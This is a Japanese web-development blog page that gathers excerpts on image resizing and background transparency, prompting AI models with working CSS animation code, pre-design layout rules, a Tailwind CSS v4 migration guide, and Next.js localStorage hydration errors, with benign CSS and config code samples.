OGPやSNSのテンプレートサイズに一発で リサイズは「自由サイズ」と「テンプレートサイズ」の2系統があります。単純な縮小だけでなく、指定サイズでの切り抜き（トリミング）までブラウザ上で完結するのがこのツールの強みです。 自由サイズ — 縮小と指定サイズ切り抜き 「縮小（リサイズ）」は幅・高さを指定して画像全体を縮小します。縦横比の維持と「元の画像より拡大しない」オプションがあるため、うっかり引き伸ばして画質を落とす事故が起きません。逆に、小さい画像をどうしても大きく使いたいときは、拡大に特化した画像高画質化ツールで先に引き伸ばしてから、このツールで配信サイズに整えてください。「指定サイズで切り抜き」は、元画像から指定した幅×高さをそのまま切り出すモードで、切り抜く範囲はサムネイルの「位置調整」からドラッグで自由に選べます。 テンプレートサイズ — OGP・SNS・広告バナーの定番サイズを内蔵 Web制作でよく使う定番サイズはテンプレートとして内蔵されているため、数値を調べて入力する手間がありません。 グループテンプレートブログ・OGPOGP画像（1200×630）、アイキャッチ 16:9（1280×720）SNSX投稿（1600×900）、Xヘッダー（1500×500）、Instagram投稿（1080×1080）、ストーリー（1080×1920）、YouTubeサムネイル（1280×720）広告バナーレクタングル（300×250）、リーダーボード（728×90）、モバイルバナー（320×100）、スカイスクレイパー（160×600） 「中央トリミング（はみ出しをカット）」と「全体表示（余白で埋める）」を選べるため、横長写真を正方形のInstagram用に切り抜く、縦長スクリーンショットを余白付きでOGPに収める、といった調整も一発です。作成したOGP画像がSNSでどう表示されるかはOGPプレビューツール（シェア表示をリアルタイム確認）で確認できます。 ドラッグで位置調整・正円切り抜きにも対応 切り抜き位置はデザインツールのようにドラッグで直感的に調整できます。Shiftキーを押しながらの操作で正方形の選択になり、「円形で切り抜く」にチェックを入れれば正円切り抜き（円の外側は透過）も可能です。SNSアイコンやプロフィール画像を丸く切り抜きたいとき、画像編集ソフトを起動せずに済みます。 背景透過 — 白背景のロゴを透過PNGに 「単色背景を透過にする」を有効にすると、白背景のロゴや図版の背景だけを透過化してPNG・WebPで出力できます。「ロゴは支給されたが白背景のJPGしかない」という、Web制作で頻発する場面のためにある機能です。 透過処理は画像の外周とつながった背景色だけを対象にするため、ロゴ内部の白い部分（文字の中の白など）は残したまま、外側の背景だけをきれいに抜けます。色のゆらぎは「許容範囲」スライダーで調整でき、JPGのわずかな圧縮ノイズが乗った背景にも対応できます。なおJPGは透過情報を保持できないため、出力はPNGかWebPを選んでください。 なお、この機能が対象にするのは単色背景のロゴ・図版です。人物や商品など写真からの被写体切り抜きは、AIが被写体を自動検出するAI背景透過ツールの使い方ガイドを参照してください。ロゴは単色透過、写真はAIが使い分けの目安です。 一括処理 — 複数画像をまとめて変換してZIPでダウンロード 画像は複数枚を同時にドロップでき、同じ設定（出力形式・品質・リサイズ）でまとめて処理されます。処理後は1枚ずつのダウンロードに加えて、「ZIPで一括ダウンロード」で全ファイルを一度に保存できます。 記事公開前に画像をまとめてWebP化する、納品素材を一括で軽量化するといった反復作業に向いています。 ### [CSSアニメーションはAIに「コードを渡して」作る｜動くコードが最強のプロンプト](https://codequest.work/css-animation-with-ai/) CSSアニメーションをAIで作るなら、動きを言葉で説明するより「動くコードを渡す」方が速く、正確です。CodeQuest.workのアニメーションギャラリーはコピペできるHTML/CSSを出力するので、その完成コードをそのままClaudeやChatGPTに読ませれば、解釈のブレないプロンプトになります。ゼロから言葉で指示するのではなく、すでに動く土台を渡して「ここをこう変えて」と頼む——これがAIとCSSアニメを共同制作する最短ルートです。 「ふわっと弾むボタンを作って」とAIに頼んだら、想像とまったく違う動きが返ってきた——CSSアニメーションをAIに任せると、この"解釈のズレ"で何度もやり直す羽目になりがちです。原因は、動きという視覚情報を言葉だけで正確に伝えるのが難しいから。タイミング・イージング・座標といった数値は、文章にした瞬間に曖昧になります。 この記事では、「動くコードこそが最強のプロンプトになる」という考え方を軸に、ギャラリーが出力するHTML/CSSをAIに渡してアニメーションをカスタム・合成・移植する具体的な手順を解説します。うまくいく指示の書き方、つまずきやすいポイント、そして完成したサイトを次の段階（SEO）へ進める流れまでを通してまとめます。 なぜ「言葉のプロンプト」はCSSアニメーションに向かないのか CSSアニメーションは、@keyframesでの状態変化・duration（再生時間）・timing-function（イージング）・transformの座標など、多数の数値パラメータの組み合わせで動きが決まります。これを言葉だけで伝えようとすると、必ず情報が落ちます。 たとえば「弾むように出てくる」という指示。これだけでは、どこから出てくるのか、何秒かけるのか、弾みの強さ（cubic-bezierの値）はどれくらいか、最後に少し縮むのか——AIは判断材料がないため、毎回ちがう"それっぽい"動きを生成します。結果、こちらの頭の中にある動きに近づくまで、言葉を足しては試すループに陥ります。 そもそもAIへの指示は、抽象的な説明より具体例を与えるほうが出力の精度と一貫性が上がることが知られています（出典: Anthropic公式 プロンプトエンジニアリングガイド）。CSSアニメーションにおける「最高の具体例」とは、ほかでもない実際に動くコードそのものです。 動くコードが最強のプロンプトになる理由 結論から言えば、完成したCSSコードをAIに渡せば、動きの定義は100%正確に伝わります。コードには曖昧さがありません。animation-duration: 0.6s;と書かれていれば、AIはそれを0.6秒と理解します。言葉で「だいたい0.6秒くらい」と伝えるのとは、伝達の精度がまるで違います。 言葉のプロンプトとコードのプロンプトを、4つの観点で比べると違いは明確です。 観点言葉のプロンプトコードのプロンプト正確性解釈のブレが出る数値まで一意に伝わる速さ近づくまで試行錯誤動く土台から一発で改造再現性毎回ちがう結果同じ入力なら同じ起点カスタム性ゼロから組み立て差分だけ指示すればよい ポイントは、動くコードは「すでに正解の一つ」であるという点です。AIはゼロから正解を探す必要がなく、与えられた動く土台を起点に「差分」だけを考えればよくなります。これは出力の安定性にも、こちらの意図の通りやすさにも直結します。だからこそ、CSSアニメーションギャラリー（コピペでコードを取得できる無料ツール）のように、最初から動くHTML/CSSが手に入るツールは、AI共同制作と相性が抜群なのです。 ギャラリーのコードをAIに渡す手順【4ステップ】 実際の流れは、次の4ステップです。言葉でアニメを生成させるのではなく、「動く土台を選んで → 渡して → 差分を指示して → 確認する」という順序になります。 ステップ1：ギャラリーで近い動きを選ぶ まず、作りたいイメージに近い動きを実物で選びます。ゼロから言葉で発想するより、フェード・スライド・バウンス・3Dなど、動くサンプルを見比べて「これに近い」を起点にするほうが圧倒的に速いです。完成形のイメージが固まっていなくても、候補を眺めるうちに方向性が定まります。 ステップ2：HTML/CSSをコピーする 選んだアニメーションの@keyframes付きコードをコピーします。このときコードは省略せず、丸ごと渡せる状態にしておくのが重要です。AIに渡す"プロンプト本体"がこのコードになるため、一部だけ切り取ると、せっかくの正確さが損なわれます。 ステップ3：AIに渡して差分を指示する コピーしたコードをClaudeやChatGPTに貼り、「このコードをベースに、何をどう変えたいか」だけを伝えます。動きの定義はコードが担うので、こちらは変更点（差分）に集中できます。指示の型は次のとおりです。 以下は動作するCSSアニメーションのコードです。 これをベースに、次の点だけ変更してください。 - 色をブランドカラー（#4f46e5）に変更 - 再生時間を0.6秒に - 対象要素はボタン（<button>）に適用 - そのまま動く完成形のHTML/CSSで出力 【ここにギャラリーからコピーしたコードを貼り付け】 ステップ4：出力を検証し、ツールで微調整する AIの出力は必ずブラウザで動かして確認します。意図どおりなら採用、ズレていれば「もう少し弾みを強く」「最後に10%縮めて」と、また差分だけ伝えて詰めていきます。数値の微調整は、AIに頼むよりギャラリーツール上でパラメータを動かしたほうが速いケースも多いので、AIで大枠を作り、ツールで仕上げるという役割分担が効率的です。 実例：フェードインのコードを渡してボタン用に改造する 4ステップを、実際のコードで通してみましょう。ギャラリーにある「下からふわっと出るフェードイン」を土台に、送信ボタン用のアニメーションへ作り替えるケースです。 まず、ギャラリーからコピーした元のコード（動く土台）がこちらです。これがAIに渡す"プロンプト本体"になります。 .fade-box { animation: fadeInUp 1s ease both; } @keyframes fadeInUp { from { opacity: 0; transform: translateY(20px); } to { opacity: 1; transform: translateY(0); } } このコードを丸ごと貼り、変えたい点（差分）だけを箇条書きで指示します。指示文は次のとおりです。 以下は動作するCSSアニメーションです。これをベースに変更してください。 - 対象を送信ボタン（<button>）に - 背景色 #4f46e5・文字色 白・角丸のボタンスタイルを付与 - 再生時間を0.6秒に短縮 - @keyframes名は衝突しないようリネーム - そのまま動く完成形のHTML/CSSで出力 .fade-box { animation: fadeInUp 1s ease both; } @keyframes fadeInUp { from { opacity:0; transform:translateY(20px);} to {opacity:1; transform:translateY(0);} } すると、動きの定義（下から16〜20px上がりながらフェードイン）を保ったまま、ボタン要素・色・速度だけが置き換わった完成形が返ってきます。 <button class="btn-fade">送信する</button> <style> .btn-fade { background: #4f46e5; color: #fff; border: none; padding: 12px 24px; border-radius: 8px; animation: btnFadeInUp 0.6s ease both; } @keyframes btnFadeInUp { from { opacity: 0; transform: translateY(16px); } to { opacity: 1; transform: translateY(0); } } </style> 注目したいのは、「下からふわっと上がる」という動きの本質は一切ブレていない点です。もし同じ依頼を言葉だけ（「ボタンが下からふわっと出るアニメを0.6秒で」）で投げていたら、上がる距離もイージングも毎回変わったはずです。動くコードを土台にしたからこそ、変更は指示した差分だけにきれいに収まりました。あとはブラウザで動かし、必要なら「上がる距離をもう少し大きく」と差分を足して仕上げれば完成です。 コードを渡してAIにできること 動くコードを土台にすると、AIへの依頼はぐっと幅が広がります。ゼロから生成させるときは「うまく作れるか」が不安定でしたが、すでに動くコードがあれば、依頼は「これをどう変えるか」という確実性の高い作業に変わります。ここでは、実務でよく使う代表的な活用パターンを4つ紹介します。どれも共通して、土台のコードを丸ごと渡したうえで変更点を指示する流れです。 色・速度・イージングの変更 もっとも手軽な改造です。「色をサイトのテーマカラーに」「もう少しゆっくり」「跳ねる感じを強めに」など、感覚的な依頼でも、動く土台があればAIは該当の値（durationやcubic-bezier）を狙って書き換えてくれます。 複数アニメーションの合成 ギャラリーから2つのコードを渡して「フェードインしながらスライドアップする動きに合成して」と頼めば、単体では用意されていない複合的な動きを作れます。土台が2つとも"動く正解"なので、合成の失敗が起きにくいのが利点です。 React・Vue・Tailwindへの移植 素のHTML/CSSのコードを渡して「これをReactコンポーネントにして」「Tailwindのクラスで書き直して」と頼めば、フレームワークに合わせた形へ変換できます。動きの仕様はコードが保証するので、移植でニュアンスが変わる事故を防げます。 自分のコンポーネントへの適用 すでにある自分のボタンやカードのコードと、ギャラリーのアニメーションコードを両方渡して「この要素にこの動きを付けて」と依頼すれば、既存UIに動きを後付けできます。クラス名や構造の衝突もAIが調整してくれるため、手作業のマージより安全です。 どんなアニメーションを土台に選ぶとよいか AI改造の成否は、最初に選ぶ土台によっても変わります。同じ「渡して改造する」でも、AIで化けやすいコードと、扱いにくいコードがあるからです。土台選びの段階で次の傾向を知っておくと、後の手戻りが減ります。 単一要素で完結する動き（フェード・スライド・バウンスなど）は、対象要素やパラメータの差し替えが効きやすく、改造に向く @keyframesが素直に分離されたコードは、AIが構造を保ったまま書き換えやすい。逆に複数の動きが1つに絡まっていると編集が難しくなる JavaScript依存が強い複雑な動き（物理演算・大量のDOM操作）は、土台にすると改造の副作用が読みにくくなりやすい まずシンプルな動きを土台に選ぶ。必要に応じてAIに「ここに〇〇の動きも足して」と段階的に複雑さを重ねるほうが安定する 迷ったときは、見た目が完成形に近いものより「構造がシンプルなもの」を選ぶのがコツです。土台が単純なほどAIは差分を正確に当てられ、出力を読んで自分で直すときの負担も小さくなります。最終的な見た目は、シンプルな土台にあとから要素を足していくほうが、コントロールしやすいのです。 AIに任せる部分・人が判断する部分 コードを渡す方式は強力ですが、何でもAIに丸投げすればよいわけではありません。 ### [デザインカンプ前に決めるWebデザインのルール｜ウィンドウ幅・コンテンツ幅・カラム設計](https://codequest.work/web-design-rules-before-comp/) Webデザインのカンプは、ウィンドウ幅・コンテンツ幅・カラム構成・最小フォントサイズといった「デザインルール」を先に決めてから作り始めるべきです。これらを決めないままカンプを描き始めると、実装段階で「この幅だと崩れる」「文字が小さすぎて読めない」といった問題が噴出し、デザインの作り直し（手戻り）が発生します。逆に、着手前に数値の土台を固めておけば、カンプ・コーディング・レスポンシブ対応まで一貫した設計で進められます。 「とりあえずFigmaを開いて、なんとなく1440px幅でデザインを描き始める」——これ自体は悪くありませんが、コンテンツ幅やカラムの数値、スマホでの最小フォントサイズを決めずに進めると、後半で必ずつまずきます。実装者から「この余白いくつですか」「スマホのとき何カラムですか」と質問が飛び、その都度ルールを後付けするはめになるのです。 この記事では、デザインカンプに着手する前に決めておくべきルールを、具体的な数値（ウィンドウ幅・主要ブレイクポイント・1〜3カラムの汎用サイズ・最小フォントサイズ）とともに整理します。デザイナーとコーダーの間で認識がずれない「設計の土台」を、この記事のとおりに固めてからカンプを描き始めてください。 なぜカンプ前に「デザインルール」を決めるのか デザインルールを決めずにカンプを作ると、問題は「実装フェーズ」で表面化します。カンプ上は美しく見えても、ブラウザ幅を変えたときの挙動やスマホでの見え方が定義されていないため、コーディングの段階で初めて破綻が見つかるのです。 ルール未決のまま進めると、典型的に次のような手戻りが起きます。 コンテンツ幅が決まっておらず、大画面で間延びする／小画面で詰まる カラム幅やガターが場当たり的で、ページごとに余白がバラつく スマホで文字が小さすぎて読めない、フォーム入力時に勝手にズームする ブレイクポイントが未定義で、タブレット表示が崩れる これらはすべて、着手前に数値を1枚の表にまとめておけば防げるものばかりです。デザインルールは「制約」ではなく、デザイナーとコーダーが同じ前提で動くための「共通言語」だと考えてください。 最初に決める3つの土台 カンプ着手前にまず固めるべきは、次の3つの土台です。これらが決まっていれば、残りのデザイン判断はこの上に積み上げるだけになります。 土台決めること目安ウィンドウ幅デザインカンバスの基準幅とブレイクポイントカンバス1280/1440px、BP 375/768/1024コンテンツ幅中身を配置する最大幅とカラム構成1200px前後（本文は640〜760px）最小フォントサイズ本文・入力欄の下限サイズ本文16px以上（スマホ入力も16px） ポイントは、「ウィンドウ幅（外側）」と「コンテンツ幅（内側）」を分けて考えることです。この2つを混同すると、大画面でコンテンツが画面いっぱいに広がりすぎる、といった事故が起きます。次の章から1つずつ具体値を見ていきます。 ウィンドウサイズの決め方と主要ブレイクポイント ウィンドウ幅とは、デザインを描くカンバスの幅と、表示が切り替わる境界（ブレイクポイント）のことです。PC向けのカンバスは1280pxまたは1440pxで描くのが一般的です。実際の端末シェアでは、スマホは幅375〜414px、タブレットは768〜1024pxが高い割合を占めます。 そのため、ブレイクポイントはスマホ375pxを基準に、タブレット768px、PC1024px以上で区切るのが定番です。多くの端末をこの3〜4区分でカバーできます。 デバイス代表的な画面幅ブレイクポイントの目安スマートフォン375〜414px767px以下タブレット768〜1024px768〜1023pxPC（デスクトップ）1024〜1440px1024px以上 ブレイクポイントの決め方には、特定端末の幅に合わせる「デバイスベース」と、レイアウトが崩れる幅で切り替える「コンテンツベース」の2つの考え方があります。実務では両者を併用し、主要端末（375／768／1024）をデバイスベースで押さえつつ、表が見切れる・カードが詰まるなど崩れが出た幅でコンテンツベースの調整を足すのが扱いやすい折衷案です。 ブレイクポイントは増やしすぎると管理が破綻します。基本は3〜4区分で十分で、サイトの特性に応じて大画面用（1440px以上）を1つ足す程度に留めるのが現実的です。CSSでは次のようにmin-widthでモバイルファーストに積み上げると見通しがよくなります。 /* モバイルファースト：スマホを基準に、上へ広げる */ /* ~767px: スマホ（指定なしのデフォルト） */ @media (min-width: 768px) { /* タブレット */ } @media (min-width: 1024px) { /* PC */ } コンテンツ幅とウィンドウ幅の違い 初心者がもっとも混同しやすいのが、ウィンドウ幅（外側）とコンテンツ幅（内側）の違いです。ウィンドウ幅はブラウザの表示領域そのもの。コンテンツ幅は、その中で実際に中身を配置する最大幅です。背景色やフルワイドの帯はウィンドウいっぱいに広げつつ、テキストやカードはコンテンツ幅の中に収める——この二層構造が基本です。 ウィンドウ幅（外側）とコンテンツ幅（内側）の二層構造 コンテンツ幅は1200px前後に上限を設けるのが定番です。これより広げると、大画面で1行の文字数が増えすぎて読みにくくなります。とくに本文（長文テキスト）の1カラムは640〜760px程度に抑えると、1行あたりの文字数が適切になり可読性が保てます。CSSではmax-widthと左右margin: autoで中央寄せにするのが定石です。 なぜ640〜760pxなのかというと、1行あたりの文字数が可読性を左右するからです。日本語の本文は全角で1行35〜45字前後が読みやすいとされ、これを大きく超えると視線が次の行頭に戻りにくくなります。逆に狭すぎても改行が増えて読みのリズムが崩れます。フォントサイズ16pxで全角40字前後に収まる幅が、ちょうど640〜760pxのレンジに当たります。「幅は文字数から逆算する」と覚えておくと、本文カラムの幅で迷いません。 /* ウィンドウ幅いっぱいの背景の中で、コンテンツ幅を絞る */ .section { width: 100%; /* 外側：ウィンドウ幅 */ background: #f5f5f5; } .container { max-width: 1200px; /* 内側：コンテンツ幅 */ margin-inline: auto; /* 中央寄せ */ padding-inline: 24px; /* 左右の余白 */ } カンプの時点で「この背景はフルワイド」「この中身はコンテンツ幅1200px」と明記しておくと、実装者が迷いません。左右のpadding（スマホで16〜24px、PCで24〜40px）も合わせて決めておきましょう。 カラム設計の汎用サイズ：1・2・3カラム コンテンツ幅が決まったら、その中をいくつのカラムに分けるかを決めます。ここではコンテナ幅1200pxを前提にした、1〜3カラムの汎用的なサイズをまとめます。あくまで目安ですが、迷ったらこの値から始めれば大きく外しません。 前提として、これらのカラム構成はPC表示でのものです。スマホでは画面幅が足りないため、2カラム・3カラムはいずれも縦積みの1カラムに「落とす」のが基本になります。つまりカンプは、PCの多カラムと、それがスマホで1カラムに再構成された状態の両方を用意しておく必要があります。どの順で縦に積むか（メインを先頭に、サイドを後ろに等）も、この段階で決めておきましょう。 レイアウトコンテナ幅の目安カラム構成（1200px時）ガター1カラム1200〜1280px本文1列（読み物は640〜760px）—2カラム1200px前後メイン約740〜800px ＋ サイド約300px24〜32px3カラム1200px前後サイド約200〜240px ＋ メイン約600〜700px ＋ サイド約200〜240px24px 1カラム：ランディングページ・読み物向け 1カラム：コンテナ1200pxでも本文は640〜760pxに絞る 中身を縦1列に並べる構成です。LPやブログ記事に向きます。コンテナは1200px前後でも、長文の本文だけは640〜760pxに絞ると1行が長くなりすぎず読みやすくなります。スマホでは全レイアウトがこの1カラムに収束するため、最初に整えておくべき基本形です。 1カラムは最もレスポンシブに強い構成でもあります。スマホでは結局すべてが1カラムに収束するため、最初から1カラム前提で設計しておくと、画面幅が変わっても破綻しにくくなります。背景色の帯やヒーローはウィンドウ幅いっぱいに広げつつ、中身だけをコンテンツ幅に収める「フルブリード」の手法と組み合わせると、シンプルでありながら奥行きのあるレイアウトになります。 2カラム：メイン＋サイドバー 2カラム：メイン740〜800px＋サイド300px（ガター24〜32px） 本文（メイン）の横にサイドバーを置く、ブログやメディアの定番です。1200px幅ならメイン740〜800px＋サイド300px、ガター24〜32pxあたりが収まりよく、比率では8:4（約70:30）が扱いやすい目安です。サイドバーは広告・目次・関連リンクなどに使います。 2カラムで注意したいのは、スマホでの挙動です。画面幅が足りないスマホでは、サイドバーが本文の下（または上）に回り込みます。そのため、サイドバーに入れる情報は「無くても本文が成立する補助的なもの」に絞るのが安全です。グローバルナビゲーションのような重要な要素をサイドバー任せにすると、スマホで埋もれてしまいます。PCの2カラムをそのままスマホへ持ち込もうとせず、縦積み時の優先順位まで設計しておきましょう。 3カラム：サイド＋メイン＋サイド 3カラム：サイド200〜240px＋メイン600〜700px＋サイド200〜240px（ガター24px） 中央のメインを左右のサイドバーで挟む構成です。ポータルやニュース系で使われます。1200px幅ならサイド200〜240px＋メイン600〜700px＋サイド200〜240px、ガター24pxが目安です。情報量は増やせますが、メインが狭くなりやすいので、メインに必要な幅を先に確保してから両サイドを割り振るのがコツです。なお、カラムをCSSで実装する具体的な手法はグリッドレイアウト完全ガイド｜設計の基礎からCSS Grid実装で詳しく解説しています。 最小フォントサイズの決め方｜PC・スマホ別の基準 フォントサイズも、カンプ着手前に下限を決めておくべきルールです。結論から言うと、本文はPC・スマホとも16px以上を基準にします。16pxはブラウザの初期フォントサイズであり、可読性・アクセシビリティの観点から本文の標準とされています。16pxを下回ると、弱視の方や高齢者だけでなく健常者でも目が疲れやすくなります。 フォントサイズは行間（line-height）とセットで考えると効果的です。本文を16pxにしても、行間が詰まっていると読みにくさは解消されません。日本語の本文では行間を1.5〜1.8倍程度に取ると、文字サイズが活きて読みやすくなります。カンプの段階で「本文16px・行間1.7」のように、サイズと行間をワンセットで決めておきましょう。 用途PCスマホ本文16px以上16px以上フォーム入力（input/textarea）16px以上16px必須（自動ズーム回避）補助テキスト・注釈12〜14px12〜14px（本文を下回る範囲で最小限に）見出し24〜40px以上20〜28px以上 スマホのフォーム入力は16px必須 スマホで見落とされがちなのが、入力欄のフォントサイズです。 ### [Tailwind CSS v4移行ガイド｜v3からの変更点・破壊的変更と移行手順](https://codequest.work/tailwind-css-v4-migration-guide/) Tailwind CSS v4は、設定をJavaScriptファイルではなくCSS内で行う「CSS-first」へと刷新し、新エンジンOxideで大幅に高速化したメジャーバージョンです。2025年1月22日に正式リリースされ、tailwind.config.jsから@themeへの移行、@tailwindディレクティブの廃止、ボーダー色やリング幅などの破壊的変更を伴います。v3からの移行は公式アップグレードツールでほぼ自動化できますが、対応ブラウザ要件が上がる点に注意が必要です。 v3のプロジェクトをそのままv4に上げたら、@tailwind baseが効かない、設定ファイルが読まれない、ボーダーの色が変わってしまった——v4は「速くなった」だけでなく、設定の書き方そのものが変わっているため、何も知らずにアップグレードすると確実につまずきます。逆に変更点さえ把握すれば、移行作業自体は短時間で終わります。 この記事では、Tailwind公式の発表とアップグレードガイドをもとに、v3からv4で何が変わったのかを「設定方法・記法・破壊的変更・対応ブラウザ」の観点で整理し、公式アップグレードツールを使った移行手順と、移行後に必ず確認すべき検証チェックリストまでを通しでまとめます。「今すぐ移行すべきか、v3.4に留まるべきか」の判断基準も最後に示します。 Tailwind CSS v4とは｜v3からの本質的な変化 Tailwind CSS v4.0は、開発者Adam Wathan氏により2025年1月22日に正式リリースされたメジャーバージョンです（出典: Tailwind CSS公式ブログ「Tailwind CSS v4.0」）。単なる機能追加ではなく、設定の仕組みとビルドエンジンが根本から作り直されている点が、v3との最大の違いです。 まず、v3とv4の違いを全体像として押さえましょう。「どこを直せば移行できるか」がこの表でほぼ見えてきます。 観点v3v4設定の場所tailwind.config.js（JavaScript）@theme（CSS内）読み込み@tailwind base/components/utilities@import "tailwindcss" 1行PostCSSプラグインtailwindcss@tailwindcss/postcss対象ファイル検出content配列で明示自動検出ビルドエンジンJavaScriptベースOxide（Rust製・高速）対応ブラウザ幅広いモダンブラウザ限定 Tailwindそのものの基本的な書き方や導入手順から学び直したい場合は、Tailwind CSSの学習方法｜初心者が最短でマスターする7つのステップを先に押さえておくと、v4の変更点がより理解しやすくなります。 新エンジンOxideとパフォーマンス v4の目玉のひとつが、Rustで書かれた新エンジン「Oxide」による高速化です。公式が示したベンチマークでは、フルビルドもインクリメンタルビルド（差分ビルド）も大幅に短縮されています。 ビルド種別v3.4v4.0改善フルビルド378ms100ms約3.78倍速差分ビルド（新規CSSあり）44ms5ms約8.8倍速差分ビルド（新規CSSなし）35ms192µs約182倍速 特に、新しいCSSクラスが増えていない差分ビルドはマイクロ秒単位で完了し、v3比で約182倍高速とされています（出典: Tailwind CSS公式ブログ）。開発中の保存→反映の体感がこの差分ビルドの速度に直結するため、規模の大きいプロジェクトほど恩恵が大きくなります。 速度面だけでなく、ビルドまわりの依存もシンプルになります。v4はベンダープレフィックスの付与や@importの解決、ネスト記法の処理を内部で扱うため、これまで併用していたautoprefixerやpostcss-importといったツールが基本的に不要になります。移行のタイミングで、これらの周辺パッケージを整理できるのも見逃せないメリットです。 最大の変化：CSS-first設定（@theme） 移行で最も影響が大きいのが、設定方法の変更です。v3ではtailwind.config.jsというJavaScriptファイルでカスタマイズしていましたが、v4ではCSSファイル内の@themeブロックで設定する「CSS-firstコンフィグ」に変わりました。テーマの値はそのままネイティブのCSS変数として公開されます。 たとえばブランドカラーを1色追加するだけでも、書く場所と書き方が次のように変わります。 // v3: tailwind.config.js（JavaScript） /** @type {import('tailwindcss').Config} */ module.exports = { content: ["./src/**/*.{html,js}"], theme: { extend: { colors: { brand: "#1da1f2" }, }, }, }; /* v4: CSSファイル内（@theme） */ @import "tailwindcss"; @theme { --color-brand: #1da1f2; } これによりbg-brandのようなユーティリティが使えるようになる点はv3と同じですが、設定がCSSの世界に統合されるのが大きな思想転換です。なおtailwind.config.jsも後方互換として読み込めますが、新規プロジェクトや本格的な移行では@themeへ寄せるのが推奨です。 テーマ値をネイティブCSS変数として使える CSS-first設定のもうひとつの利点は、@themeで定義した値がそのままネイティブのCSS変数（カスタムプロパティ）として公開されることです。Tailwindのユーティリティクラスが届かない素のCSSやキーフレームアニメーションからも、同じデザイントークンをvar()で直接参照できます。 /* @themeで定義した値は CSS変数として参照できる */ .custom-card { border: 1px solid var(--color-brand); color: var(--color-brand); } v3ではJavaScript側にあった設定値をCSSから使うには一手間が必要でしたが、v4ではデザイントークンの定義場所とCSSの利用場所が地続きになります。ユーティリティと素のCSSが混在するプロジェクトほど、この一貫性は効いてきます。 インストール・記法の変更点 設定以外にも、エントリーCSSの書き方とビルド設定が変わりました。移行時にまず手を入れる箇所です。 エントリーCSSは@importの1行に v3で3行書いていた@tailwindディレクティブは廃止され、v4では@import "tailwindcss";の1行に置き換わります。 /* v3 */ @tailwind base; @tailwind components; @tailwind utilities; /* v4 */ @import "tailwindcss"; PostCSSプラグインとViteプラグイン PostCSS経由で使う場合、プラグインはtailwindcssから@tailwindcss/postcssに変わりました。Viteを使うなら、より高速な公式の@tailwindcss/viteプラグインが用意されています。 // v4: postcss.config.mjs export default { plugins: { "@tailwindcss/postcss": {}, }, }; // v4: Viteを使う場合は vite.config.ts import tailwindcss from "@tailwindcss/vite"; export default { plugins: [tailwindcss()], }; content配列が不要になった v3で必須だったテンプレートファイルのcontent配列指定は、v4では自動検出になり原則不要です。.gitignoreを考慮しつつプロジェクト内のファイルを走査してくれるため、設定漏れでスタイルが当たらないトラブルが減ります。 対応ブラウザ要件と移行可否の判断 移行の可否を左右する最重要ポイントが、対応ブラウザ要件です。v4は@propertyやcolor-mix()といったモダンCSS機能に依存しているため、サポート対象が引き上げられています。 ブラウザ必要バージョンSafari16.4以上Chrome111以上Firefox128以上 公式は、これより古いブラウザをサポートする必要がある場合はv3.4に留まることを推奨しています（出典: Tailwind CSS公式 Upgrade guide）。エンタープライズ案件で古い環境を切れない場合は、移行を急がない判断も正解です。自社・案件のブラウザサポート方針を最初に確認してから移行に着手しましょう。 主な破壊的変更（breaking changes）一覧 見た目に直接影響する破壊的変更がいくつかあります。アップグレードツールがコードは書き換えてくれますが、デフォルト値の変更はデザインの差分として現れるため、把握しておかないと「なぜか見た目が変わった」と混乱します。 変更点v3v4ボーダーのデフォルト色gray-200currentColorringの幅3px1pxringのデフォルト色blue-500currentColorプレースホルダー色gray-400現在のテキスト色の50%不透明度CSS変数の任意値記法bg-[--brand]bg-(--brand) とくにボーダー色とring幅はUI全体に波及しやすい変更です。borderだけ書いて色を指定していなかった箇所は、v4ではcurrentColorになるため、明示的にborder-gray-200などを付けるとv3の見た目を維持できます。CSS変数の任意値は、角括弧[ ]から丸括弧( )へ記法が変わった点に注意してください。 該当箇所が多くて1つずつ直すのが現実的でない場合は、ベースレイヤーでデフォルトのボーダー色を一括指定し、旧来の見た目に寄せる方法もあります。ただし影響範囲が広いため、いきなり全体に当てる前に、まずは差分とデザインへの影響を確認してから採用するかを判断するのが安全です。 v3からv4への移行手順 既存プロジェクトの移行は、公式のアップグレードツールを使うのが最短です。設定ファイルのCSSへの変換、依存関係の更新、テンプレート内のクラス名変更までをまとめて自動化してくれます。 Node.jsを20以上にする：アップグレードツールはNode.js 20+が必要。まずnode -vで確認する 作業ブランチを切る：差分を確認・巻き戻せるよう、移行専用のGitブランチを作成しておく アップグレードツールを実行する：プロジェクト直下で公式ツールを走らせ、自動変換を任せる 差分をレビューする：設定のCSS化・@import化・クラス名変更が意図通りか、Gitの差分で1つずつ確認する ビルドして表示を確認する：開発サーバーを起動し、破壊的変更（ボーダー・ring等）の影響が出ていないか目視する # Node 20+ を確認 node -v # 公式アップグレードツールを実行（プロジェクト直下で） npx @tailwindcss/upgrade ツールは多くの変更を自動で適用しますが、すべてが完璧に変換されるとは限りません。とくに動的に組み立てているクラス名や、独自プラグイン・複雑なカスタム設定は手動対応が必要になることがあります。次の章の検証は必ず行ってください。 ### [Next.jsでlocalStorageがhydration errorになる原因と解決法](https://codequest.work/nextjs-localstorage-hydration-error/) Next.js で localStorage を使うと hydration error（ハイドレーションエラー）が出るのは、サーバー側に localStorage が存在せず、サーバーが生成したHTMLと、ブラウザが localStorage を読んで描画した結果が食い違うためです。解決の基本は、localStorage の読み取りを useEffect 内（＝クライアントでのみ実行される場所）に寄せ、初回レンダリングの結果をサーバーと一致させることです。 「ローカルでは動くのに、Next.jsにすると Hydration failed と出る」「ダークモードの初期値を localStorage から読んだら警告が出た」——SSR（サーバーサイドレンダリング）を行うNext.jsでは定番のつまずきです。原因はブラウザAPIである localStorage の性質と、Next.jsのレンダリングの仕組みのすれ違いにあります。 この記事では、hydration error がなぜ起きるのかを仕組みから説明し、useEffect・マウント判定・next/dynamic・useSyncExternalStore という4つの解決法を、再利用できるカスタムフックまで含めて整理します。そもそも localStorage を使うべきかという保存先の判断は localStorage・sessionStorage・Cookie・IndexedDBの使い分け を参照してください。 結論：なぜhydration errorが起きるのか Next.js は、ページをまずサーバー側でHTMLとして生成し（SSR）、ブラウザに送ります。ブラウザはそのHTMLを表示したあと、Reactが同じ内容を再構築してイベントなどを紐づけます。この後半の処理がハイドレーション（hydration）です。 ハイドレーションが正しく行われる前提は、「サーバーが作ったHTML」と「クライアントが初回に描画する内容」が完全に一致していることです。ところが localStorage はブラウザにしか存在しないため、サーバーでは読めません。その結果、次のようなズレが生まれます。 